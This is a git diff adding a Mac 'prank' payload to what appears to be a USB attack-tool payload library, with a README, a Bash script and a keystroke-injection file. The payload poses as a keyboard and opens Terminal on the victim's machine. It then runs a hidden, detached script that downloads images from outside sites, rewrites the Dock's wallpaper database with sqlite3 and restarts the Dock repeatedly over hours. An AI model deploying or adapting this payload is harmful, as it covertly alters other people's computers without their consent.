diff --git a/payloads/library/prank/macDesktop/README.md b/payloads/library/prank/macDesktop/README.md new file mode 100644 index 00000000..6bfcb8d7 --- /dev/null +++ b/payloads/library/prank/macDesktop/README.md @@ -0,0 +1,22 @@ +## macWallpaper by Jafahulo + +* Author: Jafahulo +* Version: Version 1.0 +* Target: OSX + +## Description +Runs a script in background that will download pictures of my +little pony (or whatever else you'd like) and randomly sets that +as their desktop background every 45 minutes - 5 hours. change +number in for loop to decide how many times it will change their +background. + +## Configuration + +None + +## Status +too fast to really be useful + +## Discussion +https://forums.hak5.org/topic/41605-payload-macwallpaper/ diff --git a/payloads/library/prank/macDesktop/macWallpaper.sh b/payloads/library/prank/macDesktop/macWallpaper.sh new file mode 100755 index 00000000..bc858985 --- /dev/null +++ b/payloads/library/prank/macDesktop/macWallpaper.sh @@ -0,0 +1,37 @@ +pid=$$ +touch /tmp/$pid +for (( i=0; i < 5; ++i )) +do + if [ ! -e /tmp/1.jpg ]; then + wget "http://www.hdwallpapers.in/walls/my_little_pony_the_movie_4k-wide.jpg" -O "/tmp/1.jpg"; + fi + + if [ ! -e /tmp/2.jpg ]; then + wget "http://wallpapersafari.com/download/rzbCmJ/" -O "/tmp/2.jpg"; + fi + + if [ ! -e /tmp/3.jpg ]; then + wget "https://images3.alphacoders.com/152/152507.jpg" -O "/tmp/3.jpg"; + fi + + if [ ! -e /tmp/4.jpg ]; then + wget "https://images3.alphacoders.com/152/152475.jpg" -O "/tmp/4.jpg"; + fi + + if [ ! -e /tmp/5.jpg ]; then + wget "http://fanaru.com/my-little-pony-friendship-is-magic/image/56392-my-little-pony-friendship-is-magic-rarity-lineart.png" -O "/tmp/5.jpg"; + fi + + let number="$RANDOM % 5 + 1 | bc" + + echo $number + + sqlite3 ~/Library/Application\ Support/Dock/desktoppicture.db "update data set value = '/tmp/$number.jpg'"; + + killall Dock + let time="$RANDOM % 18000 + 2700 | bc" + echo $time + sleep $time +done + +rm /tmp/1.jpg /tmp/2.jpg /tmp/3.jpg /tmp/4.jpg /tmp/5.jpg /tmp/$pid diff --git a/payloads/library/prank/macDesktop/payload.txt b/payloads/library/prank/macDesktop/payload.txt new file mode 100755 index 00000000..c07c0bce --- /dev/null +++ b/payloads/library/prank/macDesktop/payload.txt @@ -0,0 +1,22 @@ +ATTACKMODE HID STORAGE 0xF000/0xFF02 + +LED ATTACK + +Q GUI SPACE +Q DELAY 200 +Q STRING terminal +Q DELAY 100 +Q ENTER +Q DELAY 1000 +Q GUI n +Q DELAY 1000 + +Q STRING bash \<\(cat \/Volumes\/BashBunny\/payloads\/switch1\/macWallpaper.sh\) \>\/dev\/null 2\>\&1 \& disown + +Q ENTER + +Q GUI W + +Q ENTER + +LED FINISH